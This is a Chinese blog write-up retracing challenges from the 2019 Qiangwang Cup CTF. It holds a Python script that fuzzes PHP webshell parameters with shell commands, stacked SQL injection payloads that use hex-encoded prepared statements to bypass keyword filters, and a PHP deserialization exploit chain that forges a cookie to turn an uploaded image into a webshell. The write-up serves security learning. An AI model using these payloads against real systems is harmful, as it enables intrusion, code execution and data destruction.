2019强网杯部分misc&web
0x01 前言
前两天菜鸡+x和几个大哥算是正式参加了一次ctf的线上赛,也是第一次参加这种比赛(前一段时间巨佬也给了我们一个西班牙的比赛,不过不算是正式参赛,做题的时候,比赛已经结束了),没想到出师不利,菜的一B,除了一个证明你签了到的签到题,一道题也没有弄出来,今天的我也是一个卑微的弟弟啊!比赛结束了,大佬们开始放writeup了,准备有些题目还是再看一看,复现一下。
最先开始做的便是这道MISC的题目“鲲or鳗orGame”
进入网站后,发现鲲or鳗orGame有3个选项
鲲和鳗打开分别有一段mp3就是鸡你太美和大碗宽面
听音频除了其中一首歌前面加了几秒的键盘敲击声都没什么区别,用Audacity打开查看频谱也没有发现问题,WinHex二进制分析也没有发现什么特殊的地方,尝试使用MP3Stego提取文件,也没有找到密码,也没看到什么提示,就很是难受,就转向去分析游戏游戏如图,看了就知道怎么玩
完了几把,发现难度还是那么大,难受.jpg,查看网页源码,就是一堆js文件
没有看出区别后,我还是觉得mp3会有问题,一直分析了好久,都没有结果
比赛结束后放出了wp,看了后才明白怎么弄,在游戏页面加载时还有一个gb文件
将文件按目录全部保存到本地,使用VisualBoyAdvance模拟器可以打开这个gb文件,达到本地浏览效果,然且这个模拟器还有金手指功能
打开游戏
后先打开一个搜索,然后完了几把,通过最高纪录和本次的分,发现主要是两个位置
将最高纪录分数改到255,使用16进制表示
再开一把游戏,不管玩到多少分,都会弹出flag
0x03 逆向题 强网先锋 AD
这道题也是当时看了很久,没有分析出来,看了wp才明白的,附件下载下来,并没有尾缀
直接拖到IDA中F5,查看main函数,从v44到v40将原本的数字转为字符
发现最后有两个等号,果断Base64,但是第一个v44时int型的,不能计算,只记录后面的
ZmxhZ3ttYWZha3VhaWxhaXFpYW5kYW9ifQ==
base64 Decode
0x04 MISC 打野
附件下载下来解压后,是一个名字为“瞅啥”的rar压缩包,解压后,一张鲲的图片
使用zsteg 得到flag
0x05 高明的黑客
页面打开后如图
访问 wensite/www.tar.gz
得到源码压缩包,解压后3002个命名奇特的文件,而且每个文件打开都是很奇怪的代码
看页面内容为高明的黑客,而且php文件里面也发现了大量GET和POST提交的变量,可能是shell的密码,但是不知道到底是哪个php文件的哪个参数,写脚本fuzz
import os
import requests
from multiprocessing import Pool
path = "/src/"#下载下来源码文件路径
files = os.listdir(path)
url = "http://localhost/src/"#网站地址
def extract(f):
gets = []
with open(path+f, 'r') as f:
lines = f.readlines()
lines = [i.strip() for i in lines]
for line in lines:
if line.find("$_GET['") > 0:
start_pos = line.find("$_GET['") + len("$_GET['")
end_pos = line.find("'", start_pos)
gets.append(line[start_pos:end_pos])
return gets
def exp(start, end):
for i in range(start, end):
filename = files[i]
gets = extract(filename)
print "try: %s" % filename
for get in gets:
new_url = "%s%s?%s=%s" % (url, filename, get, 'echo "got it"')
r = requests.get(new_url)
if 'got it' in r.content:
print new_url
break
def main():
pool = Pool(processes=15)
for i in range(0, len(files), len(files)/15):
pool.apply_async(exp, (i, +len(files)/15,))
pool.close()
pool.join()
if __name__ == "__main__":
main()
跑出来是xk0SzyKwfzw.php
这个文件,GET提交参数Efa5BVG
直接cat获取到flagwebsite/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
0x06 随便注
这道题主要考察堆叠注入
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
随便测试一下,提交1‘ union select 1,2,3
,返回
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
存在过滤,基本关键词都被过滤了,使用堆叠注入
提交 1';show tables; #
显示
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}
提交1';show columns from '1919810931114514';#
返回1919810931114514中的字段名
直接用存储过程+16进制进行绕过,,并返回结果
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
0x07 Upload
20191101添加
页面打开后,可以登陆,和注册,注册一个账号后,发现是一个上传界面
但是只能上传图片,且不会给出上传的位置,应该需要就是上传木马,但是经过尝试只能上传图片马,不能直接利用,使用dirsearch路径扫描,发现源码泄露,直接访问www.tar.gz就可以得到源码,接下来进行代码审计
是个tp5的框架系统,首先查看路由信息,主要关注index和upload_img
先看index.php,在login_check方法中,系统从cookie中获取到字符串,然后反序列化
在Profile中,在 upload_img 方法中有上传文件复制操作,而这个操作中的 $this->ext、$this->filename_tmp、$this->filename 均可通过反序列化控制。如果我们能调用 upload_img 这一方法,在知道图片路径的情况下,就可以任意重命名图片文件,就可以实现图片马了。
在后面,还存在两个魔术方法
继续看Register.php,在tp5/application/web/controller/Register.php 文件中存在 __destruct 方法,其 $this->registed、$this->checker 在反序列化时也是可控的。如果我们将 $this->checker 赋值为 Register 类,而 Register 类没有 index 方法,所以调用的时候就会触发 __call 方法,这样就形成了一条完整的攻击链。
最后的攻击链为:
Register->__destruct
Profile-> __call
Profile-> __get
Profile-> upload_img()
我们先上传一个图片马上去,上传之后可以F12找到文件路径,并访问
构造如下代码,并在本地运行,得到一个cookie,使用这个cookie替换题目站得cookie
<?php
namespace app\web\controller;
class Profile
{
public $checker=0;
public $filename_tmp="../public/upload/f4e7685fe689f675c85caeefaedcf40c/3b5cc1c061dce193bb89ea4ee47ace85.png";
public $filename="../public/upload/f4e7685fe689f675c85caeefaedcf40c/xianyu.php";
public $upload_menu;
public $ext=1;
public $img;
public $except=array('index'=>'upload_img');
}
class Register
{
public $checker;
public $registed=0;
}
$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;
// echo serialize($a);
echo base64_encode(serialize($a));
?>
连上之后,在根目录可以读flag
0x08 目前就看了这几个wp,以后看了其他的,会尽量复现一下